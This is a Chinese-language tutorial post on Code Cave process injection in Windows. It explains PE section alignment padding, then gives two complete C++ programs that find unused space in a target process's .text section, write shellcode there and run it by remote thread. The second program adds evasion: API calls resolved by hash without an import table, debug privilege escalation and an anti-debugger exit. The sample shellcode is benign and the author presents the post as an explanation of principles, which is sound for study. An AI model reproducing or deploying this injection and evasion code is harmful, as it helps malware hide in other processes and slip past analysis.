大家好,你们可以叫我凌。
今天我们来唠唠 Code Cave 注入,不过该注入方法常常因为CFG而经常无法成功,所以说这篇文章仅仅用于讲解其中原理。
当然,要想注入成功则需要用 SetProcessValidCallTargets 把 Code Cave 地址注册为合法入口,但是需要进程有 CFG 权限。
Github仓库地址
.text节为什么会有空隙
PE 节区的对齐规则
PE 文件在磁盘上时,节区按照FileAlignment(通常是0x200,即512字节)对齐。加载到 内存时,节区按照SectionAlignment(通常是0x1000,即4KB)对齐。
举例说明
假设某个DLL的 .text 节
➢ 磁盘上的实际代码大小:0x1A00字节
➢ 磁盘对齐后占用:0x1A00(向上取整到0x200的倍数,正好是0x1A00)
➢ 内存对齐后占用:0x2000(向上取整到0x1000的倍数)
空隙里填的是什么
链接器在填充这些空隙时,通常会填入以下两种字节:
➢ 0x00:未初始化区域,常见于编译器的默认行为。
➢ 0xCC:调试断点指令(int 3),微软的 MSVC 编译器在Debug模式下喜欢用这个填充。
物理意义:这些字节在 CPU 眼里是合法的可执行指令(0x00是add [rax], al,0xCC是断 点),但程序永远不会执行到这里(因为代码段逻辑不会跳到填充区)。所以它是天然的可执行空地。
代码示例
明文 API 实现
关键物理动作解释:
#include <windows.h> #include <psapi.h> #include <tlhelp32.h> #include <iostream> #include <vector> #pragma comment(lib, "psapi.lib") // ============================================================ // Shellcode: mov eax, 42; ret(极简,便于测试) // ============================================================ unsigned char shellcode[] = { 0xB8, 0x2A, 0x00, 0x00, 0x00, 0xC3 }; SIZE_T shellcodeSize = sizeof(shellcode); // ============================================================ // 第一步:扫描指定模块的 .text 节,找到足够大的空隙 // 返回:空隙的起始地址(在目标进程里的绝对地址),失败返回 nullptr // ============================================================ LPVOID FindCodeCave(HANDLE hProcess, HMODULE hModule, SIZE_T needSize) { BYTE* moduleBase = (BYTE*)hModule; BYTE localDos[0x40] = {0}; if (!ReadProcessMemory(hProcess, moduleBase, localDos, 0x40, NULL)) return nullptr; IMAGE_DOS_HEADER* pDos = (IMAGE_DOS_HEADER*)localDos; if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return nullptr; BYTE localNt[0x108] = {0}; if (!ReadProcessMemory(hProcess, moduleBase + pDos->e_lfanew, localNt, 0x108, NULL)) return nullptr; IMAGE_NT_HEADERS* pNt = (IMAGE_NT_HEADERS*)localNt; if (pNt->Signature != IMAGE_NT_SIGNATURE) return nullptr; DWORD sectionAlignment = pNt->OptionalHeader.SectionAlignment; WORD numberOfSections = pNt->FileHeader.NumberOfSections; WORD sizeOfOptionalHeader = pNt->FileHeader.SizeOfOptionalHeader; DWORD sectionTableOffset = pDos->e_lfanew + 4 + 20 + sizeOfOptionalHeader; for (WORD i = 0; i < numberOfSections; i++) { IMAGE_SECTION_HEADER section; if (!ReadProcessMemory(hProcess, moduleBase + sectionTableOffset + i * sizeof(IMAGE_SECTION_HEADER), §ion, sizeof(section), NULL)) return nullptr; if (strncmp((char*)section.Name, ".text", 5) != 0) continue; BYTE* sectionStart = moduleBase + section.VirtualAddress; DWORD virtualSize = section.Misc.VirtualSize; DWORD alignedSize = ((virtualSize + sectionAlignment - 1) / sectionAlignment) * sectionAlignment; DWORD caveSize = alignedSize - virtualSize; if (caveSize < needSize) { std::cout << "[*] .text 节空隙只有 " << caveSize << " 字节,不够 " << needSize << " 字节" << std::endl; continue; } BYTE* caveStart = sectionStart + virtualSize; std::vector<BYTE> caveBuffer(caveSize); if (!ReadProcessMemory(hProcess, caveStart, caveBuffer.data(), caveSize, NULL)) return nullptr; bool isClean = true; for (DWORD j = 0; j < caveSize; j++) { if (caveBuffer[j] != 0x00 && caveBuffer[j] != 0xCC) { isClean = false; break; } } if (!isClean) { std::cout << "[*] 空隙被占用,跳过" << std::endl; continue; } std::cout << "[+] 找到空隙: 0x" << std::hex << (uintptr_t)caveStart << " 大小: " << std::dec << caveSize << " 字节" << std::endl; return caveStart; } return nullptr; } // ============================================================ // 第二步:主注入流程 // ============================================================ int main() { DWORD pid; std::cout << "[*] 请输入目标进程 PID: "; std::cin >> pid; HANDLE hProcess = OpenProcess( PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, pid); if (!hProcess) { std::cerr << "[-] OpenProcess 失败: " << GetLastError() << std::endl; return 1; } HMODULE modules[1024]; DWORD needed = 0; if (!EnumProcessModules(hProcess, modules, sizeof(modules), &needed)) { std::cerr << "[-] EnumProcessModules 失败" << std::endl; CloseHandle(hProcess); return 1; } DWORD moduleCount = needed / sizeof(HMODULE); std::cout << "[*] 共找到 " << moduleCount << " 个模块" << std::endl; LPVOID caveAddr = nullptr; for (DWORD i = 0; i < moduleCount; i++) { char modName[MAX_PATH] = {0}; GetModuleBaseNameA(hProcess, modules[i], modName, MAX_PATH); std::cout << "[" << i << "] 检查模块: " << modName << std::endl; caveAddr = FindCodeCave(hProcess, modules[i], shellcodeSize); if (caveAddr) { std::cout << "[+] 在 " << modName << " 中找到空隙!" << std::endl; break; } } if (!caveAddr) { std::cerr << "[-] 所有模块都没找到合适的空隙" << std::endl; CloseHandle(hProcess); return 1; } if (!WriteProcessMemory(hProcess, caveAddr, shellcode, shellcodeSize, NULL)) { std::cerr << "[-] WriteProcessMemory 失败: " << GetLastError() << std::endl; CloseHandle(hProcess); return 1; } std::cout << "[+] Shellcode 写入成功" << std::endl; HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)caveAddr, NULL, 0, NULL); if (!hThread) { std::cerr << "[-] CreateRemoteThread 失败: " << GetLastError() << std::endl; CloseHandle(hProcess); return 1; } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hProcess); std::cout << "[+] 注入完成" << std::endl; system("pause"); return 0; }无 IAT 版本
#include <windows.h> #include <iostream> #include <vector> #include "EnableDebugPrivilege.h" #include "IsDebugging.h" #include "Hash.h" #include "GetProcAddress.h" // ============================================================ // Shellcode // ============================================================ unsigned char shellcode[] = { 0xB8, 0x2A, 0x00, 0x00, 0x00, 0xC3 }; SIZE_T shellcodeSize = sizeof(shellcode); // ============================================================ // 函数指针类型定义 // ============================================================ typedef HANDLE (WINAPI *pOpenProcess)(DWORD, BOOL, DWORD); typedef BOOL (WINAPI *pEnumProcessModules)(HANDLE, HMODULE*, DWORD, LPDWORD); typedef DWORD (WINAPI *pGetModuleBaseNameA)(HANDLE, HMODULE, LPSTR, DWORD); typedef BOOL (WINAPI *pReadProcessMemory)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*); typedef BOOL (WINAPI *pWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); typedef HANDLE (WINAPI *pCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); typedef DWORD (WINAPI *pWaitForSingleObject)(HANDLE, DWORD); typedef BOOL (WINAPI *pCloseHandle)(HANDLE); // ============================================================ // 函数指针容器 // ============================================================ struct ApiFuncs { pOpenProcess OpenProcess; pEnumProcessModules EnumProcessModules; pGetModuleBaseNameA GetModuleBaseNameA; pReadProcessMemory ReadProcessMemory; pWriteProcessMemory WriteProcessMemory; pCreateRemoteThread CreateRemoteThread; pWaitForSingleObject WaitForSingleObject; pCloseHandle CloseHandle; bool valid; }; __declspec(noinline) ApiFuncs InitApiFuncs() { ApiFuncs f{}; DWORD hKernel32 = NHash32::hash("kernel32.dll"); DWORD hPsapi = NHash32::hash("psapi.dll"); f.OpenProcess = (pOpenProcess) GetProcAddressEx(hKernel32, NHash32::hash("OpenProcess")); f.ReadProcessMemory = (pReadProcessMemory) GetProcAddressEx(hKernel32, NHash32::hash("ReadProcessMemory")); f.WriteProcessMemory = (pWriteProcessMemory)GetProcAddressEx(hKernel32, NHash32::hash("WriteProcessMemory")); f.CreateRemoteThread = (pCreateRemoteThread)GetProcAddressEx(hKernel32, NHash32::hash("CreateRemoteThread")); f.WaitForSingleObject= (pWaitForSingleObject)GetProcAddressEx(hKernel32, NHash32::hash("WaitForSingleObject")); f.CloseHandle = (pCloseHandle) GetProcAddressEx(hKernel32, NHash32::hash("CloseHandle")); // psapi.dll 里的函数(Win7 之后也导出于 kernel32,但为了保险用 psapi) f.EnumProcessModules = (pEnumProcessModules)GetProcAddressEx(hPsapi, NHash32::hash("EnumProcessModules")); f.GetModuleBaseNameA = (pGetModuleBaseNameA)GetProcAddressEx(hPsapi, NHash32::hash("GetModuleBaseNameA")); // 如果 psapi 找不到,退回 kernel32(Win7+ 有转发导出) if (!f.EnumProcessModules) f.EnumProcessModules = (pEnumProcessModules)GetProcAddressEx(hKernel32, NHash32::hash("K32EnumProcessModules")); if (!f.GetModuleBaseNameA) f.GetModuleBaseNameA = (pGetModuleBaseNameA)GetProcAddressEx(hKernel32, NHash32::hash("K32GetModuleBaseNameA")); f.valid = f.OpenProcess && f.EnumProcessModules && f.GetModuleBaseNameA && f.ReadProcessMemory && f.WriteProcessMemory && f.CreateRemoteThread && f.WaitForSingleObject && f.CloseHandle; return f; } // ============================================================ // Code Cave 扫描(用函数指针版) // ============================================================ __declspec(noinline) LPVOID FindCodeCave(const ApiFuncs& f, HANDLE hProcess, HMODULE hModule, SIZE_T needSize) { BYTE* moduleBase = (BYTE*)hModule; BYTE localDos[0x40] = {0}; if (!f.ReadProcessMemory(hProcess, moduleBase, localDos, 0x40, NULL)) return nullptr; IMAGE_DOS_HEADER* pDos = (IMAGE_DOS_HEADER*)localDos; if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return nullptr; BYTE localNt[0x108] = {0}; if (!f.ReadProcessMemory(hProcess, moduleBase + pDos->e_lfanew, localNt, 0x108, NULL)) return nullptr; IMAGE_NT_HEADERS* pNt = (IMAGE_NT_HEADERS*)localNt; if (pNt->Signature != IMAGE_NT_SIGNATURE) return nullptr; DWORD sectionAlignment = pNt->OptionalHeader.SectionAlignment; WORD numberOfSections = pNt->FileHeader.NumberOfSections; WORD sizeOfOptionalHeader = pNt->FileHeader.SizeOfOptionalHeader; DWORD sectionTableOffset = pDos->e_lfanew + 4 + 20 + sizeOfOptionalHeader; for (WORD i = 0; i < numberOfSections; i++) { IMAGE_SECTION_HEADER section; if (!f.ReadProcessMemory(hProcess, moduleBase + sectionTableOffset + i * sizeof(IMAGE_SECTION_HEADER), §ion, sizeof(section), NULL)) return nullptr; if (strncmp((char*)section.Name, ".text", 5) != 0) continue; BYTE* sectionStart = moduleBase + section.VirtualAddress; DWORD virtualSize = section.Misc.VirtualSize; DWORD alignedSize = ((virtualSize + sectionAlignment - 1) / sectionAlignment) * sectionAlignment; DWORD caveSize = alignedSize - virtualSize; if (caveSize < needSize) continue; BYTE* caveStart = sectionStart + virtualSize; std::vector<BYTE> caveBuffer(caveSize); if (!f.ReadProcessMemory(hProcess, caveStart, caveBuffer.data(), caveSize, NULL)) return nullptr; bool isClean = true; for (DWORD j = 0; j < caveSize; j++) { if (caveBuffer[j] != 0x00 && caveBuffer[j] != 0xCC) { isClean = false; break; } } if (!isClean) continue; return caveStart; } return nullptr; } // ============================================================ // main // ============================================================ int main() { EnableDebugPrivilege(); if (IsDebuggingA()) { std::cerr << "[-] 检测到调试器" << std::endl; return 0; } ApiFuncs f = InitApiFuncs(); if (!f.valid) { std::cerr << "[-] 函数解析失败" << std::endl; return 1; } std::cout << "[+] 所有函数解析成功" << std::endl; DWORD pid; std::cout << "[*] 请输入目标进程 PID: "; std::cin >> pid; HANDLE hProcess = f.OpenProcess( PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, pid); if (!hProcess) { std::cerr << "[-] OpenProcess 失败: " << GetLastError() << std::endl; return 1; } HMODULE modules[1024]; DWORD needed = 0; if (!f.EnumProcessModules(hProcess, modules, sizeof(modules), &needed)) { std::cerr << "[-] EnumProcessModules 失败" << std::endl; f.CloseHandle(hProcess); return 1; } DWORD moduleCount = needed / sizeof(HMODULE); LPVOID caveAddr = nullptr; for (DWORD i = 0; i < moduleCount; i++) { char modName[MAX_PATH] = {0}; f.GetModuleBaseNameA(hProcess, modules[i], modName, MAX_PATH); std::cout << "[" << i << "] 检查 " << modName << std::endl; caveAddr = FindCodeCave(f, hProcess, modules[i], shellcodeSize); if (caveAddr) { std::cout << "[+] 在 " << modName << " 中找到空隙: 0x" << std::hex << (uintptr_t)caveAddr << std::dec << std::endl; break; } } if (!caveAddr) { std::cerr << "[-] 未找到合适的空隙" << std::endl; f.CloseHandle(hProcess); return 1; } if (!f.WriteProcessMemory(hProcess, caveAddr, shellcode, shellcodeSize, NULL)) { std::cerr << "[-] WriteProcessMemory 失败" << std::endl; f.CloseHandle(hProcess); return 1; } std::cout << "[+] Shellcode 写入成功(无需 VirtualProtectEx)" << std::endl; HANDLE hThread = f.CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)caveAddr, NULL, 0, NULL); if (!hThread) { std::cerr << "[-] CreateRemoteThread 失败: " << GetLastError() << std::endl; f.CloseHandle(hProcess); return 1; } f.WaitForSingleObject(hThread, INFINITE); f.CloseHandle(hThread); f.CloseHandle(hProcess); std::cout << "[+] 注入完成" << std::endl; system("pause"); return 0; }